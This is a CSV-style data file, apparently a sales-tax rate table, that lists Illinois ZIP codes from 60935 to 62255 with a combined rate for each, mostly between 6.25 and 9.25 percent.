US-IL-60935,US,IL,60935,6.25,,,, US-IL-60936,US,IL,60936,6.25,,,, US-IL-60938,US,IL,60938,6.25,,,, US-IL-60939,US,IL,60939,6.25,,,, US-IL-60940,US,IL,60940,6.25,,,, US-IL-60941,US,IL,60941,6.25,,,, US-IL-60942,US,IL,60942,6.5,,,, US-IL-60944,US,IL,60944,9.25,,,, US-IL-60945,US,IL,60945,6.25,,,, US-IL-60946,US,IL,60946,6.25,,,, US-IL-60948,US,IL,60948,6.25,,,, US-IL-60949,US,IL,60949,7.5,,,, US-IL-60950,US,IL,60950,6.25,,,, US-IL-60951,US,IL,60951,6.25,,,, US-IL-60952,US,IL,60952,6.25,,,, US-IL-60953,US,IL,60953,6.25,,,, US-IL-60954,US,IL,60954,6.25,,,, US-IL-60955,US,IL,60955,6.25,,,, US-IL-60956,US,IL,60956,6.25,,,, US-IL-60957,US,IL,60957,6.25,,,, US-IL-60958,US,IL,60958,6.25,,,, US-IL-60959,US,IL,60959,6.25,,,, US-IL-60960,US,IL,60960,6.25,,,, US-IL-60961,US,IL,60961,6.25,,,, US-IL-60962,US,IL,60962,6.25,,,, US-IL-60963,US,IL,60963,6.5,,,, US-IL-60964,US,IL,60964,6.25,,,, US-IL-60966,US,IL,60966,6.25,,,, US-IL-60967,US,IL,60967,6.25,,,, US-IL-60968,US,IL,60968,6.25,,,, US-IL-60969,US,IL,60969,6.25,,,, US-IL-60970,US,IL,60970,7,,,, US-IL-60973,US,IL,60973,6.25,,,, US-IL-60974,US,IL,60974,6.25,,,, US-IL-61001,US,IL,61001,6.75,,,, US-IL-61006,US,IL,61006,6.25,,,, US-IL-61007,US,IL,61007,6.25,,,, US-IL-61008,US,IL,61008,6.75,,,, US-IL-61010,US,IL,61010,7.25,,,, US-IL-61011,US,IL,61011,6.75,,,, US-IL-61012,US,IL,61012,6.75,,,, US-IL-61013,US,IL,61013,6.75,,,, US-IL-61014,US,IL,61014,6.5,,,, US-IL-61015,US,IL,61015,6.25,,,, US-IL-61016,US,IL,61016,7.25,,,, US-IL-61018,US,IL,61018,6.75,,,, US-IL-61019,US,IL,61019,6.75,,,, US-IL-61020,US,IL,61020,6.25,,,, US-IL-61021,US,IL,61021,6.75,,,, US-IL-61024,US,IL,61024,7.25,,,, US-IL-61025,US,IL,61025,7.25,,,, US-IL-61027,US,IL,61027,6.75,,,, US-IL-61028,US,IL,61028,6.75,,,, US-IL-61030,US,IL,61030,6.25,,,, US-IL-61031,US,IL,61031,6.25,,,, US-IL-61032,US,IL,61032,8,,,, US-IL-61036,US,IL,61036,6.75,,,, US-IL-61037,US,IL,61037,6.25,,,, US-IL-61038,US,IL,61038,6.75,,,, US-IL-61039,US,IL,61039,6.75,,,, US-IL-61041,US,IL,61041,6.75,,,, US-IL-61042,US,IL,61042,6.25,,,, US-IL-61043,US,IL,61043,6.25,,,, US-IL-61044,US,IL,61044,6.75,,,, US-IL-61046,US,IL,61046,6.5,,,, US-IL-61047,US,IL,61047,6.25,,,, US-IL-61048,US,IL,61048,6.75,,,, US-IL-61049,US,IL,61049,6.25,,,, US-IL-61050,US,IL,61050,6.75,,,, US-IL-61051,US,IL,61051,6.5,,,, US-IL-61052,US,IL,61052,6.25,,,, US-IL-61053,US,IL,61053,6.5,,,, US-IL-61054,US,IL,61054,6.25,,,, US-IL-61057,US,IL,61057,6.25,,,, US-IL-61059,US,IL,61059,6.75,,,, US-IL-61060,US,IL,61060,6.75,,,, US-IL-61061,US,IL,61061,7.25,,,, US-IL-61062,US,IL,61062,6.75,,,, US-IL-61063,US,IL,61063,7.25,,,, US-IL-61064,US,IL,61064,6.25,,,, US-IL-61065,US,IL,61065,6.75,,,, US-IL-61067,US,IL,61067,6.75,,,, US-IL-61068,US,IL,61068,7,,,, US-IL-61070,US,IL,61070,6.75,,,, US-IL-61071,US,IL,61071,6.75,,,, US-IL-61072,US,IL,61072,7.25,,,, US-IL-61073,US,IL,61073,7.25,,,, US-IL-61074,US,IL,61074,6.5,,,, US-IL-61075,US,IL,61075,6.75,,,, US-IL-61077,US,IL,61077,7.25,,,, US-IL-61078,US,IL,61078,6.5,,,, US-IL-61079,US,IL,61079,7.25,,,, US-IL-61080,US,IL,61080,7.25,,,, US-IL-61081,US,IL,61081,6.75,,,, US-IL-61084,US,IL,61084,6.25,,,, US-IL-61085,US,IL,61085,6.75,,,, US-IL-61087,US,IL,61087,6.75,,,, US-IL-61088,US,IL,61088,7.25,,,, US-IL-61089,US,IL,61089,6.75,,,, US-IL-61091,US,IL,61091,6.25,,,, US-IL-61101,US,IL,61101,8.25,,,, US-IL-61102,US,IL,61102,8.25,,,, US-IL-61103,US,IL,61103,8.25,,,, US-IL-61104,US,IL,61104,8.25,,,, US-IL-61105,US,IL,61105,8.25,,,, US-IL-61106,US,IL,61106,8.25,,,, US-IL-61107,US,IL,61107,8.25,,,, US-IL-61108,US,IL,61108,8.25,,,, US-IL-61109,US,IL,61109,8.25,,,, US-IL-61110,US,IL,61110,8.25,,,, US-IL-61111,US,IL,61111,7.25,,,, US-IL-61112,US,IL,61112,8.25,,,, US-IL-61114,US,IL,61114,8.25,,,, US-IL-61115,US,IL,61115,8.25,,,, US-IL-61125,US,IL,61125,8.25,,,, US-IL-61126,US,IL,61126,8.25,,,, US-IL-61130,US,IL,61130,7.25,,,, US-IL-61131,US,IL,61131,7.25,,,, US-IL-61132,US,IL,61132,7.25,,,, US-IL-61201,US,IL,61201,7.5,,,, US-IL-61204,US,IL,61204,7.5,,,, US-IL-61230,US,IL,61230,6.25,,,, US-IL-61231,US,IL,61231,6.25,,,, US-IL-61232,US,IL,61232,6.25,,,, US-IL-61233,US,IL,61233,6.25,,,, US-IL-61234,US,IL,61234,6.25,,,, US-IL-61235,US,IL,61235,6.25,,,, US-IL-61236,US,IL,61236,6.75,,,, US-IL-61237,US,IL,61237,6.25,,,, US-IL-61238,US,IL,61238,6.25,,,, US-IL-61239,US,IL,61239,6.75,,,, US-IL-61240,US,IL,61240,6.25,,,, US-IL-61241,US,IL,61241,6.75,,,, US-IL-61242,US,IL,61242,6.25,,,, US-IL-61243,US,IL,61243,6.25,,,, US-IL-61244,US,IL,61244,6.75,,,, US-IL-61250,US,IL,61250,6.25,,,, US-IL-61251,US,IL,61251,6.25,,,, US-IL-61252,US,IL,61252,7,,,, US-IL-61254,US,IL,61254,6.75,,,, US-IL-61256,US,IL,61256,6.75,,,, US-IL-61257,US,IL,61257,6.25,,,, US-IL-61258,US,IL,61258,6.25,,,, US-IL-61259,US,IL,61259,6.25,,,, US-IL-61260,US,IL,61260,6.25,,,, US-IL-61261,US,IL,61261,6.25,,,, US-IL-61262,US,IL,61262,6.25,,,, US-IL-61263,US,IL,61263,6.25,,,, US-IL-61264,US,IL,61264,6.25,,,, US-IL-61265,US,IL,61265,7.5,,,, US-IL-61266,US,IL,61266,7.5,,,, US-IL-61270,US,IL,61270,6.25,,,, US-IL-61272,US,IL,61272,6.25,,,, US-IL-61273,US,IL,61273,6.25,,,, US-IL-61274,US,IL,61274,6.25,,,, US-IL-61275,US,IL,61275,6.25,,,, US-IL-61276,US,IL,61276,6.25,,,, US-IL-61277,US,IL,61277,6.25,,,, US-IL-61278,US,IL,61278,6.25,,,, US-IL-61279,US,IL,61279,6.25,,,, US-IL-61281,US,IL,61281,6.25,,,, US-IL-61282,US,IL,61282,6.75,,,, US-IL-61283,US,IL,61283,6.75,,,, US-IL-61284,US,IL,61284,6.25,,,, US-IL-61285,US,IL,61285,6.5,,,, US-IL-61299,US,IL,61299,7.5,,,, US-IL-61301,US,IL,61301,7,,,, US-IL-61310,US,IL,61310,6.25,,,, US-IL-61311,US,IL,61311,6.25,,,, US-IL-61312,US,IL,61312,6.75,,,, US-IL-61313,US,IL,61313,6.25,,,, US-IL-61314,US,IL,61314,6.75,,,, US-IL-61315,US,IL,61315,6.75,,,, US-IL-61316,US,IL,61316,6.5,,,, US-IL-61317,US,IL,61317,6.75,,,, US-IL-61318,US,IL,61318,6.25,,,, US-IL-61319,US,IL,61319,6.25,,,, US-IL-61320,US,IL,61320,6.75,,,, US-IL-61321,US,IL,61321,6.5,,,, US-IL-61322,US,IL,61322,6.75,,,, US-IL-61323,US,IL,61323,6.75,,,, US-IL-61324,US,IL,61324,6.25,,,, US-IL-61325,US,IL,61325,6.5,,,, US-IL-61326,US,IL,61326,6.25,,,, US-IL-61327,US,IL,61327,6.25,,,, US-IL-61328,US,IL,61328,6.75,,,, US-IL-61329,US,IL,61329,6.75,,,, US-IL-61330,US,IL,61330,6.75,,,, US-IL-61331,US,IL,61331,6.25,,,, US-IL-61332,US,IL,61332,6.5,,,, US-IL-61333,US,IL,61333,6.25,,,, US-IL-61334,US,IL,61334,6.5,,,, US-IL-61335,US,IL,61335,6.25,,,, US-IL-61336,US,IL,61336,6.25,,,, US-IL-61337,US,IL,61337,6.75,,,, US-IL-61338,US,IL,61338,6.75,,,, US-IL-61340,US,IL,61340,6.25,,,, US-IL-61341,US,IL,61341,6.5,,,, US-IL-61342,US,IL,61342,6.5,,,, US-IL-61344,US,IL,61344,6.75,,,, US-IL-61345,US,IL,61345,6.75,,,, US-IL-61346,US,IL,61346,6.75,,,, US-IL-61348,US,IL,61348,6.5,,,, US-IL-61349,US,IL,61349,6.75,,,, US-IL-61350,US,IL,61350,7,,,, US-IL-61353,US,IL,61353,6.25,,,, US-IL-61354,US,IL,61354,7.5,,,, US-IL-61356,US,IL,61356,7.25,,,, US-IL-61358,US,IL,61358,6.5,,,, US-IL-61359,US,IL,61359,6.75,,,, US-IL-61360,US,IL,61360,6.5,,,, US-IL-61361,US,IL,61361,6.75,,,, US-IL-61362,US,IL,61362,6.75,,,, US-IL-61363,US,IL,61363,6.25,,,, US-IL-61364,US,IL,61364,7.5,,,, US-IL-61367,US,IL,61367,6.25,,,, US-IL-61368,US,IL,61368,6.75,,,, US-IL-61369,US,IL,61369,6.25,,,, US-IL-61370,US,IL,61370,6.5,,,, US-IL-61371,US,IL,61371,6.5,,,, US-IL-61372,US,IL,61372,6.5,,,, US-IL-61373,US,IL,61373,6.5,,,, US-IL-61374,US,IL,61374,6.75,,,, US-IL-61375,US,IL,61375,6.25,,,, US-IL-61376,US,IL,61376,6.75,,,, US-IL-61377,US,IL,61377,6.25,,,, US-IL-61378,US,IL,61378,6.25,,,, US-IL-61379,US,IL,61379,6.75,,,, US-IL-61401,US,IL,61401,8.5,,,, US-IL-61402,US,IL,61402,8.5,,,, US-IL-61410,US,IL,61410,7.5,,,, US-IL-61411,US,IL,61411,6.75,,,, US-IL-61412,US,IL,61412,7.25,,,, US-IL-61413,US,IL,61413,6.25,,,, US-IL-61414,US,IL,61414,7.5,,,, US-IL-61415,US,IL,61415,6.75,,,, US-IL-61416,US,IL,61416,6.75,,,, US-IL-61417,US,IL,61417,7.25,,,, US-IL-61418,US,IL,61418,7.25,,,, US-IL-61419,US,IL,61419,6.25,,,, US-IL-61420,US,IL,61420,6.75,,,, US-IL-61421,US,IL,61421,6.75,,,, US-IL-61422,US,IL,61422,7.25,,,, US-IL-61423,US,IL,61423,7.25,,,, US-IL-61424,US,IL,61424,6.25,,,, US-IL-61425,US,IL,61425,7.25,,,, US-IL-61426,US,IL,61426,6.75,,,, US-IL-61427,US,IL,61427,6.75,,,, US-IL-61428,US,IL,61428,7.5,,,, US-IL-61430,US,IL,61430,7.5,,,, US-IL-61431,US,IL,61431,6.75,,,, US-IL-61432,US,IL,61432,6.75,,,, US-IL-61433,US,IL,61433,6.75,,,, US-IL-61434,US,IL,61434,6.25,,,, US-IL-61435,US,IL,61435,7.25,,,, US-IL-61436,US,IL,61436,7.5,,,, US-IL-61437,US,IL,61437,7.25,,,, US-IL-61438,US,IL,61438,6.75,,,, US-IL-61439,US,IL,61439,7.5,,,, US-IL-61440,US,IL,61440,6.75,,,, US-IL-61441,US,IL,61441,6.75,,,, US-IL-61442,US,IL,61442,6.25,,,, US-IL-61443,US,IL,61443,6.75,,,, US-IL-61447,US,IL,61447,7.25,,,, US-IL-61448,US,IL,61448,7.5,,,, US-IL-61449,US,IL,61449,6.75,,,, US-IL-61450,US,IL,61450,6.25,,,, US-IL-61451,US,IL,61451,6.75,,,, US-IL-61452,US,IL,61452,7.25,,,, US-IL-61453,US,IL,61453,7.25,,,, US-IL-61454,US,IL,61454,7.25,,,, US-IL-61455,US,IL,61455,7.75,,,, US-IL-61458,US,IL,61458,7.5,,,, US-IL-61459,US,IL,61459,6.75,,,, US-IL-61460,US,IL,61460,7.25,,,, US-IL-61462,US,IL,61462,9.25,,,, US-IL-61465,US,IL,61465,6.25,,,, US-IL-61466,US,IL,61466,6.25,,,, US-IL-61467,US,IL,61467,7.5,,,, US-IL-61468,US,IL,61468,6.25,,,, US-IL-61469,US,IL,61469,7.25,,,, US-IL-61470,US,IL,61470,6.75,,,, US-IL-61471,US,IL,61471,7.25,,,, US-IL-61472,US,IL,61472,7.5,,,, US-IL-61473,US,IL,61473,7.25,,,, US-IL-61474,US,IL,61474,7.5,,,, US-IL-61475,US,IL,61475,6.75,,,, US-IL-61476,US,IL,61476,6.25,,,, US-IL-61477,US,IL,61477,6.75,,,, US-IL-61478,US,IL,61478,7.25,,,, US-IL-61479,US,IL,61479,6.75,,,, US-IL-61480,US,IL,61480,7.25,,,, US-IL-61482,US,IL,61482,6.75,,,, US-IL-61483,US,IL,61483,6.75,,,, US-IL-61484,US,IL,61484,6.75,,,, US-IL-61485,US,IL,61485,7.5,,,, US-IL-61486,US,IL,61486,6.25,,,, US-IL-61488,US,IL,61488,7.5,,,, US-IL-61489,US,IL,61489,7.5,,,, US-IL-61490,US,IL,61490,6.25,,,, US-IL-61491,US,IL,61491,6.75,,,, US-IL-61501,US,IL,61501,6.75,,,, US-IL-61516,US,IL,61516,7.25,,,, US-IL-61517,US,IL,61517,6.75,,,, US-IL-61519,US,IL,61519,6.75,,,, US-IL-61520,US,IL,61520,7.25,,,, US-IL-61523,US,IL,61523,7.25,,,, US-IL-61524,US,IL,61524,6.75,,,, US-IL-61525,US,IL,61525,6.75,,,, US-IL-61526,US,IL,61526,6.75,,,, US-IL-61528,US,IL,61528,6.75,,,, US-IL-61529,US,IL,61529,6.75,,,, US-IL-61530,US,IL,61530,7.25,,,, US-IL-61531,US,IL,61531,6.75,,,, US-IL-61532,US,IL,61532,6.25,,,, US-IL-61533,US,IL,61533,6.75,,,, US-IL-61534,US,IL,61534,6.75,,,, US-IL-61535,US,IL,61535,6.75,,,, US-IL-61536,US,IL,61536,6.75,,,, US-IL-61537,US,IL,61537,6.25,,,, US-IL-61539,US,IL,61539,6.75,,,, US-IL-61540,US,IL,61540,6.25,,,, US-IL-61541,US,IL,61541,6.25,,,, US-IL-61542,US,IL,61542,6.75,,,, US-IL-61543,US,IL,61543,6.75,,,, US-IL-61544,US,IL,61544,6.75,,,, US-IL-61545,US,IL,61545,7.25,,,, US-IL-61546,US,IL,61546,6.75,,,, US-IL-61547,US,IL,61547,6.75,,,, US-IL-61548,US,IL,61548,7.25,,,, US-IL-61550,US,IL,61550,6.75,,,, US-IL-61552,US,IL,61552,6.75,,,, US-IL-61553,US,IL,61553,6.75,,,, US-IL-61554,US,IL,61554,8,,,, US-IL-61555,US,IL,61555,8,,,, US-IL-61558,US,IL,61558,8,,,, US-IL-61559,US,IL,61559,6.75,,,, US-IL-61560,US,IL,61560,6.25,,,, US-IL-61561,US,IL,61561,7.25,,,, US-IL-61562,US,IL,61562,6.75,,,, US-IL-61563,US,IL,61563,6.75,,,, US-IL-61564,US,IL,61564,7,,,, US-IL-61565,US,IL,61565,6.25,,,, US-IL-61567,US,IL,61567,6.25,,,, US-IL-61568,US,IL,61568,6.75,,,, US-IL-61569,US,IL,61569,6.75,,,, US-IL-61570,US,IL,61570,7.25,,,, US-IL-61571,US,IL,61571,8,,,, US-IL-61572,US,IL,61572,7.5,,,, US-IL-61601,US,IL,61601,8.25,,,, US-IL-61602,US,IL,61602,8.25,,,, US-IL-61603,US,IL,61603,8.25,,,, US-IL-61604,US,IL,61604,8.25,,,, US-IL-61605,US,IL,61605,8.25,,,, US-IL-61606,US,IL,61606,8.25,,,, US-IL-61607,US,IL,61607,7.25,,,, US-IL-61610,US,IL,61610,7.75,,,, US-IL-61611,US,IL,61611,8,,,, US-IL-61612,US,IL,61612,8.25,,,, US-IL-61613,US,IL,61613,8.25,,,, US-IL-61614,US,IL,61614,8.25,,,, US-IL-61615,US,IL,61615,8.25,,,, US-IL-61616,US,IL,61616,8.25,,,, US-IL-61625,US,IL,61625,8.25,,,, US-IL-61629,US,IL,61629,8.25,,,, US-IL-61630,US,IL,61630,8.25,,,, US-IL-61633,US,IL,61633,8.25,,,, US-IL-61634,US,IL,61634,8.25,,,, US-IL-61635,US,IL,61635,8,,,, US-IL-61636,US,IL,61636,8.25,,,, US-IL-61637,US,IL,61637,8.25,,,, US-IL-61638,US,IL,61638,8.25,,,, US-IL-61639,US,IL,61639,8.25,,,, US-IL-61641,US,IL,61641,7.25,,,, US-IL-61643,US,IL,61643,8.25,,,, US-IL-61650,US,IL,61650,8.25,,,, US-IL-61651,US,IL,61651,8.25,,,, US-IL-61652,US,IL,61652,8.25,,,, US-IL-61653,US,IL,61653,8.25,,,, US-IL-61654,US,IL,61654,8.25,,,, US-IL-61655,US,IL,61655,8.25,,,, US-IL-61656,US,IL,61656,8.25,,,, US-IL-61701,US,IL,61701,7.75,,,, US-IL-61702,US,IL,61702,7.75,,,, US-IL-61704,US,IL,61704,7.75,,,, US-IL-61705,US,IL,61705,6.25,,,, US-IL-61709,US,IL,61709,7.75,,,, US-IL-61710,US,IL,61710,7.75,,,, US-IL-61720,US,IL,61720,6.25,,,, US-IL-61721,US,IL,61721,6.75,,,, US-IL-61722,US,IL,61722,6.25,,,, US-IL-61723,US,IL,61723,7.75,,,, US-IL-61724,US,IL,61724,6.25,,,, US-IL-61725,US,IL,61725,6.75,,,, US-IL-61726,US,IL,61726,6.25,,,, US-IL-61727,US,IL,61727,6.75,,,, US-IL-61728,US,IL,61728,6.25,,,, US-IL-61729,US,IL,61729,7.25,,,, US-IL-61730,US,IL,61730,6.25,,,, US-IL-61731,US,IL,61731,6.25,,,, US-IL-61732,US,IL,61732,6.25,,,, US-IL-61733,US,IL,61733,6.75,,,, US-IL-61734,US,IL,61734,6.75,,,, US-IL-61735,US,IL,61735,6.25,,,, US-IL-61736,US,IL,61736,6.25,,,, US-IL-61737,US,IL,61737,6.25,,,, US-IL-61738,US,IL,61738,7.25,,,, US-IL-61739,US,IL,61739,6.25,,,, US-IL-61740,US,IL,61740,6.25,,,, US-IL-61741,US,IL,61741,6.25,,,, US-IL-61742,US,IL,61742,7.25,,,, US-IL-61743,US,IL,61743,6.25,,,, US-IL-61744,US,IL,61744,6.25,,,, US-IL-61745,US,IL,61745,6.25,,,, US-IL-61747,US,IL,61747,6.75,,,, US-IL-61748,US,IL,61748,6.25,,,, US-IL-61749,US,IL,61749,6.25,,,, US-IL-61750,US,IL,61750,6.25,,,, US-IL-61751,US,IL,61751,7.75,,,, US-IL-61752,US,IL,61752,6.75,,,, US-IL-61753,US,IL,61753,6.75,,,, US-IL-61754,US,IL,61754,6.75,,,, US-IL-61755,US,IL,61755,6.75,,,, US-IL-61756,US,IL,61756,7.5,,,, US-IL-61758,US,IL,61758,6.25,,,, US-IL-61759,US,IL,61759,6.75,,,, US-IL-61760,US,IL,61760,7.25,,,, US-IL-61761,US,IL,61761,7.75,,,, US-IL-61764,US,IL,61764,6.25,,,, US-IL-61769,US,IL,61769,6.25,,,, US-IL-61770,US,IL,61770,6.25,,,, US-IL-61771,US,IL,61771,7.25,,,, US-IL-61772,US,IL,61772,6.25,,,, US-IL-61773,US,IL,61773,6.25,,,, US-IL-61774,US,IL,61774,6.25,,,, US-IL-61775,US,IL,61775,6.25,,,, US-IL-61776,US,IL,61776,6.25,,,, US-IL-61777,US,IL,61777,6.25,,,, US-IL-61778,US,IL,61778,6.25,,,, US-IL-61790,US,IL,61790,7.75,,,, US-IL-61791,US,IL,61791,7.75,,,, US-IL-61799,US,IL,61799,7.75,,,, US-IL-61801,US,IL,61801,8.75,,,, US-IL-61802,US,IL,61802,8.75,,,, US-IL-61803,US,IL,61803,8.75,,,, US-IL-61810,US,IL,61810,6.5,,,, US-IL-61811,US,IL,61811,6.5,,,, US-IL-61812,US,IL,61812,6.5,,,, US-IL-61813,US,IL,61813,6.25,,,, US-IL-61814,US,IL,61814,6.5,,,, US-IL-61815,US,IL,61815,7.5,,,, US-IL-61816,US,IL,61816,7.5,,,, US-IL-61817,US,IL,61817,6.5,,,, US-IL-61818,US,IL,61818,6.25,,,, US-IL-61820,US,IL,61820,8.75,,,, US-IL-61821,US,IL,61821,8.75,,,, US-IL-61822,US,IL,61822,8.75,,,, US-IL-61824,US,IL,61824,8.75,,,, US-IL-61825,US,IL,61825,8.75,,,, US-IL-61826,US,IL,61826,8.75,,,, US-IL-61830,US,IL,61830,6.25,,,, US-IL-61831,US,IL,61831,6.5,,,, US-IL-61832,US,IL,61832,8.75,,,, US-IL-61833,US,IL,61833,7.5,,,, US-IL-61834,US,IL,61834,6.5,,,, US-IL-61839,US,IL,61839,6.25,,,, US-IL-61840,US,IL,61840,7.5,,,, US-IL-61841,US,IL,61841,6.5,,,, US-IL-61842,US,IL,61842,6.25,,,, US-IL-61843,US,IL,61843,7.5,,,, US-IL-61844,US,IL,61844,6.5,,,, US-IL-61845,US,IL,61845,7.5,,,, US-IL-61846,US,IL,61846,6.5,,,, US-IL-61847,US,IL,61847,7.5,,,, US-IL-61848,US,IL,61848,6.5,,,, US-IL-61849,US,IL,61849,7.5,,,, US-IL-61850,US,IL,61850,6.5,,,, US-IL-61851,US,IL,61851,7.5,,,, US-IL-61852,US,IL,61852,7.5,,,, US-IL-61853,US,IL,61853,7.5,,,, US-IL-61854,US,IL,61854,6.25,,,, US-IL-61855,US,IL,61855,6.25,,,, US-IL-61856,US,IL,61856,6.25,,,, US-IL-61857,US,IL,61857,6.5,,,, US-IL-61858,US,IL,61858,6.5,,,, US-IL-61859,US,IL,61859,8.5,,,, US-IL-61862,US,IL,61862,7.5,,,, US-IL-61863,US,IL,61863,7.5,,,, US-IL-61864,US,IL,61864,7.5,,,, US-IL-61865,US,IL,61865,6.5,,,, US-IL-61866,US,IL,61866,8.75,,,, US-IL-61870,US,IL,61870,6.5,,,, US-IL-61871,US,IL,61871,7.5,,,, US-IL-61872,US,IL,61872,7.5,,,, US-IL-61873,US,IL,61873,8,,,, US-IL-61874,US,IL,61874,8,,,, US-IL-61875,US,IL,61875,7.5,,,, US-IL-61876,US,IL,61876,6.5,,,, US-IL-61877,US,IL,61877,7.5,,,, US-IL-61878,US,IL,61878,7.5,,,, US-IL-61880,US,IL,61880,7.5,,,, US-IL-61882,US,IL,61882,6.25,,,, US-IL-61883,US,IL,61883,6.5,,,, US-IL-61884,US,IL,61884,6.25,,,, US-IL-61910,US,IL,61910,6.75,,,, US-IL-61911,US,IL,61911,6.25,,,, US-IL-61912,US,IL,61912,6.25,,,, US-IL-61913,US,IL,61913,6.25,,,, US-IL-61914,US,IL,61914,6.75,,,, US-IL-61917,US,IL,61917,6.25,,,, US-IL-61919,US,IL,61919,6.25,,,, US-IL-61920,US,IL,61920,6.75,,,, US-IL-61924,US,IL,61924,6.25,,,, US-IL-61925,US,IL,61925,7.5,,,, US-IL-61928,US,IL,61928,6.75,,,, US-IL-61929,US,IL,61929,6.25,,,, US-IL-61930,US,IL,61930,6.25,,,, US-IL-61931,US,IL,61931,6.25,,,, US-IL-61932,US,IL,61932,6.25,,,, US-IL-61933,US,IL,61933,6.25,,,, US-IL-61936,US,IL,61936,6.25,,,, US-IL-61937,US,IL,61937,6.75,,,, US-IL-61938,US,IL,61938,6.75,,,, US-IL-61940,US,IL,61940,6.25,,,, US-IL-61941,US,IL,61941,6.25,,,, US-IL-61942,US,IL,61942,6.25,,,, US-IL-61943,US,IL,61943,6.25,,,, US-IL-61944,US,IL,61944,6.75,,,, US-IL-61949,US,IL,61949,6.25,,,, US-IL-61951,US,IL,61951,6.75,,,, US-IL-61953,US,IL,61953,7.25,,,, US-IL-61955,US,IL,61955,6.25,,,, US-IL-61956,US,IL,61956,7.25,,,, US-IL-61957,US,IL,61957,6.25,,,, US-IL-62001,US,IL,62001,6.6,,,, US-IL-62002,US,IL,62002,7.85,,,, US-IL-62006,US,IL,62006,7,,,, US-IL-62009,US,IL,62009,6.25,,,, US-IL-62010,US,IL,62010,6.85,,,, US-IL-62011,US,IL,62011,6.25,,,, US-IL-62012,US,IL,62012,7,,,, US-IL-62013,US,IL,62013,7,,,, US-IL-62014,US,IL,62014,6.25,,,, US-IL-62015,US,IL,62015,6.25,,,, US-IL-62016,US,IL,62016,6.25,,,, US-IL-62017,US,IL,62017,6.25,,,, US-IL-62018,US,IL,62018,6.85,,,, US-IL-62019,US,IL,62019,6.25,,,, US-IL-62021,US,IL,62021,6.85,,,, US-IL-62022,US,IL,62022,7,,,, US-IL-62023,US,IL,62023,6.25,,,, US-IL-62024,US,IL,62024,6.85,,,, US-IL-62025,US,IL,62025,6.85,,,, US-IL-62026,US,IL,62026,6.85,,,, US-IL-62027,US,IL,62027,6.25,,,, US-IL-62028,US,IL,62028,7,,,, US-IL-62030,US,IL,62030,7,,,, US-IL-62031,US,IL,62031,7,,,, US-IL-62032,US,IL,62032,6.25,,,, US-IL-62033,US,IL,62033,6.25,,,, US-IL-62034,US,IL,62034,6.85,,,, US-IL-62035,US,IL,62035,6.85,,,, US-IL-62036,US,IL,62036,7,,,, US-IL-62037,US,IL,62037,7,,,, US-IL-62040,US,IL,62040,8.35,,,, US-IL-62044,US,IL,62044,6.25,,,, US-IL-62045,US,IL,62045,7,,,, US-IL-62046,US,IL,62046,6.6,,,, US-IL-62047,US,IL,62047,7,,,, US-IL-62048,US,IL,62048,6.85,,,, US-IL-62049,US,IL,62049,6.25,,,, US-IL-62050,US,IL,62050,6.25,,,, US-IL-62051,US,IL,62051,6.25,,,, US-IL-62052,US,IL,62052,7.5,,,, US-IL-62053,US,IL,62053,7,,,, US-IL-62054,US,IL,62054,6.25,,,, US-IL-62056,US,IL,62056,7.25,,,, US-IL-62058,US,IL,62058,6.6,,,, US-IL-62059,US,IL,62059,7.35,,,, US-IL-62060,US,IL,62060,6.85,,,, US-IL-62061,US,IL,62061,6.6,,,, US-IL-62062,US,IL,62062,6.85,,,, US-IL-62063,US,IL,62063,6.25,,,, US-IL-62067,US,IL,62067,6.85,,,, US-IL-62069,US,IL,62069,6.25,,,, US-IL-62071,US,IL,62071,7.35,,,, US-IL-62074,US,IL,62074,6.6,,,, US-IL-62075,US,IL,62075,6.25,,,, US-IL-62076,US,IL,62076,6.25,,,, US-IL-62077,US,IL,62077,6.25,,,, US-IL-62078,US,IL,62078,6.25,,,, US-IL-62079,US,IL,62079,6.25,,,, US-IL-62080,US,IL,62080,6.25,,,, US-IL-62081,US,IL,62081,6.25,,,, US-IL-62082,US,IL,62082,6.25,,,, US-IL-62083,US,IL,62083,6.25,,,, US-IL-62084,US,IL,62084,6.85,,,, US-IL-62085,US,IL,62085,6.25,,,, US-IL-62086,US,IL,62086,6.25,,,, US-IL-62087,US,IL,62087,6.85,,,, US-IL-62088,US,IL,62088,6.25,,,, US-IL-62089,US,IL,62089,6.25,,,, US-IL-62090,US,IL,62090,6.85,,,, US-IL-62091,US,IL,62091,6.25,,,, US-IL-62092,US,IL,62092,6.25,,,, US-IL-62093,US,IL,62093,6.25,,,, US-IL-62094,US,IL,62094,6.25,,,, US-IL-62095,US,IL,62095,6.85,,,, US-IL-62097,US,IL,62097,6.6,,,, US-IL-62098,US,IL,62098,6.25,,,, US-IL-62201,US,IL,62201,8.85,,,, US-IL-62202,US,IL,62202,8.85,,,, US-IL-62203,US,IL,62203,8.85,,,, US-IL-62204,US,IL,62204,8.85,,,, US-IL-62205,US,IL,62205,8.85,,,, US-IL-62206,US,IL,62206,8.1,,,, US-IL-62207,US,IL,62207,7.35,,,, US-IL-62208,US,IL,62208,8.35,,,, US-IL-62214,US,IL,62214,6.25,,,, US-IL-62215,US,IL,62215,6.25,,,, US-IL-62216,US,IL,62216,6.25,,,, US-IL-62217,US,IL,62217,6.25,,,, US-IL-62218,US,IL,62218,6.25,,,, US-IL-62219,US,IL,62219,6.25,,,, US-IL-62220,US,IL,62220,8.1,,,, US-IL-62221,US,IL,62221,7.35,,,, US-IL-62222,US,IL,62222,8.1,,,, US-IL-62223,US,IL,62223,7.35,,,, US-IL-62225,US,IL,62225,7.35,,,, US-IL-62226,US,IL,62226,8.1,,,, US-IL-62230,US,IL,62230,6.25,,,, US-IL-62231,US,IL,62231,6.25,,,, US-IL-62232,US,IL,62232,7.35,,,, US-IL-62233,US,IL,62233,6.25,,,, US-IL-62234,US,IL,62234,8.1,,,, US-IL-62236,US,IL,62236,6.5,,,, US-IL-62237,US,IL,62237,6.25,,,, US-IL-62238,US,IL,62238,6.75,,,, US-IL-62239,US,IL,62239,7.35,,,, US-IL-62240,US,IL,62240,7.35,,,, US-IL-62241,US,IL,62241,6.25,,,, US-IL-62242,US,IL,62242,6.25,,,, US-IL-62243,US,IL,62243,6.6,,,, US-IL-62244,US,IL,62244,6.5,,,, US-IL-62245,US,IL,62245,6.25,,,, US-IL-62246,US,IL,62246,6.75,,,, US-IL-62247,US,IL,62247,6.75,,,, US-IL-62248,US,IL,62248,6.5,,,, US-IL-62249,US,IL,62249,7.85,,,, US-IL-62250,US,IL,62250,6.25,,,, US-IL-62252,US,IL,62252,6.25,,,, US-IL-62253,US,IL,62253,6.75,,,, US-IL-62254,US,IL,62254,7.35,,,, US-IL-62255,US,IL,62255,7.35,,,, 